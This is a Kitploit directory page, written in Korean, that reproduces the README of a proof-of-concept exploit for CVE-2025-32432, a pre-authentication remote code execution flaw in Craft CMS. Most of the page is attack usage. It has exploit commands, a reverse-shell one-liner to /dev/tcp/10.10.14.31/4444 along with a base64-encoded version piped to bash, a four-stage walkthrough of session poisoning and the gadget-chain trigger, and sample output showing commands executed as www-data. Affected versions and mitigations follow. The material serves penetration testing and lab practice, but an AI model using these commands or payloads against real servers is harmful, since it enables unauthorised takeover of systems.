Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32432 — CVE-2025-32432, CraftCMS2Shell용 익스플로잇, PoC | Kitploit
도구/GitHubGitHub/c0gnit00/cve-2025-32432
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubc0gnit00/cve-2025-32432

CVE-2025-32432

CVE-2025-32432, CraftCMS2Shell용 익스플로잇, PoC

저장소 보기
362개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-32432 Craft CMS 사전 인증 RCE PoC

Craft CMS의 치명적인 사전 인증 원격 코드 실행

영향: Craft CMS 3.x, 4.x 및 5.x (5.6.16까지)

정보: 이 익스플로잇은 HackTheBox Orion 머신에서 테스트되었습니다.

개요

이 저장소는 CVE-2025-32432에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이는 Craft CMS의 치명적인 사전 인증 원격 코드 실행 취약점입니다. 이 취약점은 인증되지 않은 공격자가 Yii2의 동작 첨부 메커니즘과 __class 오버라이드 기법을 통한 PHP 객체 인스턴스화를 악용하여 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다.

CVSS 점수: 10.0 (치명적)

기능

  • 사전 인증 공격 — 로그인 자격 증명 필요 없음
  • 범용 호환성 — Craft CMS 3.x, 4.x 및 5.x에서 작동
  • 자동 에셋 ID 발견 — 유효한 에셋 ID를 자동으로 브루트포스
  • CSRF 토큰 추출 — Craft CMS CSRF 보호를 자동으로 처리
  • 세션 경로 폴백 — 첫 번째 실패 시 대체 PHP 세션 경로 자동 재시도

요구 사항

pip install requests urllib3

빠른 시작

기본 명령 실행

python3 exploit.py -u http://target.com -c "id"

리버스 셸

# Start listener on your machine
penelope -p 4444

# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64


# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"

에셋 ID 브루트포스 건너뛰기 (알고 있는 경우)

python3 exploit.py -u http://target.com -c "whoami" -a 11

대체 세션 경로 사용

python3 exploit.py -u http://target.com -c "id" \
  -s "/tmp/sess_{}"

사용법

usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
                                [-s SESSION_PATH] [-q]

CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (e.g., http://target.com)
  -c, --command COMMAND
                        Command to execute
  -a, --asset-id ASSET_ID
                        Known valid asset ID (skip brute-force)
  -m, --max-asset MAX_ASSET
                        Max asset ID to brute-force (default: 300)
  -s, --session-path SESSION_PATH
                        Session file path template (default: /var/lib/php/sessions/sess_{})
  -q, --quiet           Suppress verbose output

예제 출력

$ python3 exploit.py -u http://orion.htb -c "id"

╔══════════════════════════════════════════════════════════════╗
║  CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2              ║
║  Target: http://orion.htb                                  ║
║  Command: id                                                  ║
╚══════════════════════════════════════════════════════════════╝

[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

익스플로잇 단계

단계동작엔드포인트인증
1세션 쿠키 + CSRF 토큰 추출GET /admin/login아니오
2PHP 페이로드를 세션 파일에 주입GET /index.php?p=admin/dashboard&a=<PHP>아니오
3유효한 에셋 ID 브루트포스POST /index.php?p=admin/actions/assets/generate-transform아니오
4PhpManager 가젯을 통한 RCE 트리거POST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD>아니오

영향을 받는 버전

브랜치취약 버전수정 버전
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 – 5.6.165.6.17+

완화 조치

  1. 즉시 업그레이드하여 최신 패치 버전으로 업데이트
  2. 로그 모니터링 대상:
    • /admin/actions/assets/generate-transform에 대한 다중 POST 요청
    • PHP 코드를 포함한 a= 매개변수가 있는 관리자 페이지에 대한 GET 요청
    • POST 요청 본문에 as 필드 존재
  3. WAF 규칙을 활성화하여 의심스러운 패턴 차단

크레딧

  • 원본 발견: Orange Cyberdefense / SensePost
  • 블로그 게시물: CraftCMS의 RCE를 이용한 실제 캠페인 조사
  • PoC 작성자: SensePost의 연구를 기반으로 HTB/침투 테스트에 맞게 조정

면책 조항

이 도구는 승인된 보안 테스트 및 연구 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오.

라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하십시오.

도구 다운로드